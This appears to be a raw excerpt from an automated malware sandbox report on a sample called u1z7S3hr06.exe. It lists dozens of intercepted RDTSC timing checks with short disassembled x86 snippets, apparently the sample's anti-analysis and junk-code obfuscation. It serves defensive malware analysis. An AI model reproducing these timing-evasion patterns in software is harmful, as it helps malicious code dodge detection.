Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EBA23 second address: 11EBA79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA47177F558h 0x0000000b popad 0x0000000c mov dword ptr [esp], ebx 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FA47177F548h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 add dword ptr [ebp+122D1B55h], ebx 0x0000002f mov esi, dword ptr [ebp+122D375Dh] 0x00000035 push eax 0x00000036 pushad 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EBA79 second address: 11EBA7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EBCD1 second address: 11EBCD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC07D second address: 11EC0A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FA470BCBE6Ch 0x0000000b popad 0x0000000c push eax 0x0000000d jl 00007FA470BCBE7Dh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FA470BCBE6Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC0A3 second address: 11EC0A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC661 second address: 11EC667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC667 second address: 11EC689 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F555h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC689 second address: 11EC68D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11EC68D second address: 11EC693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11ED01C second address: 11ED020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11ECE79 second address: 11ECE7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F017F second address: 11F019A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA470BCBE68h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FA470BCBE6Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F22A4 second address: 11F22B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA47177F546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F22B5 second address: 11F22B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F917C second address: 11F918A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA47177F546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11F918A second address: 11F919B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FA470BCBE6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FB119 second address: 11FB12E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 js 00007FA47177F546h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FB12E second address: 11FB138 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FCE52 second address: 11FCE5C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA47177F54Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FC10E second address: 11FC11B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA470BCBE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FC11B second address: 11FC127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FD032 second address: 11FD036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FEDF5 second address: 11FEDF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FEDF9 second address: 11FEEA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FA470BCBE68h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 call 00007FA470BCBE70h 0x00000029 call 00007FA470BCBE6Bh 0x0000002e xor ebx, 13A52171h 0x00000034 pop ebx 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 jc 00007FA470BCBE85h 0x0000003e jnl 00007FA470BCBE7Fh 0x00000044 push 00000000h 0x00000046 jmp 00007FA470BCBE74h 0x0000004b push eax 0x0000004c jl 00007FA470BCBE74h 0x00000052 pushad 0x00000053 jc 00007FA470BCBE66h 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FDFD7 second address: 11FDFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FFD10 second address: 11FFD23 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA470BCBE68h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FFD23 second address: 11FFD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FF090 second address: 11FF094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FFD27 second address: 11FFD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FFD2B second address: 11FFD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1201C73 second address: 1201C85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11AC9BF second address: 11AC9D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007FA470BCBE66h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA470BCBE6Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11AC9D8 second address: 11AC9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12022D0 second address: 12022DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA470BCBE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 120351B second address: 1203528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FA47177F546h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1203528 second address: 1203544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FA470BCBE66h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12044F7 second address: 12044FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12044FC second address: 1204502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1204502 second address: 1204534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FA47177F54Eh 0x0000000d nop 0x0000000e mov ebx, dword ptr [ebp+1247CE2Dh] 0x00000014 push 00000000h 0x00000016 mov ebx, dword ptr [ebp+122D2CDDh] 0x0000001c push 00000000h 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007FA47177F548h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1204534 second address: 1204539 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1203787 second address: 120378C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11FFF1B second address: 11FFF20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12046CA second address: 12046CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12046CE second address: 120474A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FA470BCBE68h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 pushad 0x00000028 mov di, ax 0x0000002b mov ecx, dword ptr [ebp+122D3323h] 0x00000031 popad 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov ebx, 1C68321Fh 0x0000003e cmc 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 pushad 0x00000047 mov dword ptr [ebp+122D2582h], eax 0x0000004d stc 0x0000004e popad 0x0000004f mov eax, dword ptr [ebp+122D07EDh] 0x00000055 push FFFFFFFFh 0x00000057 jno 00007FA470BCBE66h 0x0000005d push eax 0x0000005e je 00007FA470BCBE74h 0x00000064 push eax 0x00000065 push edx 0x00000066 push esi 0x00000067 pop esi 0x00000068 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12055E6 second address: 120569B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F557h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c call 00007FA47177F54Eh 0x00000011 jmp 00007FA47177F555h 0x00000016 pop edi 0x00000017 add ebx, dword ptr [ebp+122D35D5h] 0x0000001d push dword ptr fs:[00000000h] 0x00000024 mov ebx, dword ptr [ebp+122D2470h] 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 jc 00007FA47177F55Bh 0x00000037 jmp 00007FA47177F555h 0x0000003c mov eax, dword ptr [ebp+122D0B01h] 0x00000042 or dword ptr [ebp+12458BE2h], ebx 0x00000048 push FFFFFFFFh 0x0000004a jmp 00007FA47177F557h 0x0000004f nop 0x00000050 jmp 00007FA47177F54Ah 0x00000055 push eax 0x00000056 pushad 0x00000057 push ecx 0x00000058 push eax 0x00000059 pop eax 0x0000005a pop ecx 0x0000005b jns 00007FA47177F54Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 120757C second address: 1207597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA470BCBE77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1207597 second address: 120759B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12085CE second address: 12085D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1208741 second address: 1208747 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1208747 second address: 120874B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 120874B second address: 120874F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1211D2B second address: 1211D47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA470BCBE76h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12116AF second address: 12116BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007FA47177F546h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 12116BD second address: 12116C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1217230 second address: 1217234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1217234 second address: 1217250 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA470BCBE71h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1217250 second address: 121728B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA47177F558h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FA47177F555h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121728B second address: 1217291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B4EBE second address: 11B4EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B4EC3 second address: 11B4EC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11B4EC9 second address: 11B4ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121AF15 second address: 121AF19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121AF19 second address: 121AF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA47177F550h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121AF2F second address: 121AF34 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121B213 second address: 121B217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121B217 second address: 121B234 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA470BCBE73h 0x00000007 ja 00007FA470BCBE66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121B234 second address: 121B24C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA47177F54Dh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121B7C3 second address: 121B7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121E64C second address: 121E686 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F550h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FA47177F55Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121E686 second address: 121E68E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121E68E second address: 121E69A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FA47177F546h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 121E69A second address: 121E69E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A5EB1 second address: 11A5EE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA47177F557h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007FA47177F546h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A5EE3 second address: 11A5EE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 11A5EE7 second address: 11A5EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 1224D4F second address: 1224D5B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D9B0 second address: 122D9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F558h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D9D0 second address: 122D9E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE75h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122D9E9 second address: 122D9FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F551h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C433 second address: 122C44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA470BCBE75h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C44F second address: 122C4AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA47177F54Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA47177F556h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FA47177F554h 0x00000018 jns 00007FA47177F546h 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 jmp 00007FA47177F557h 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C602 second address: 122C606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C606 second address: 122C61C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C909 second address: 122C926 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA470BCBE79h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C926 second address: 122C952 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007FA47177F546h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA47177F556h 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007FA47177F546h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122C952 second address: 122C956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	RDTSC instruction interceptor: First address: 122CF27 second address: 122CF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA47177F557h 0x00000009 je 00007FA47177F546h 0x0000000f popad 0x00000010 rdtsc
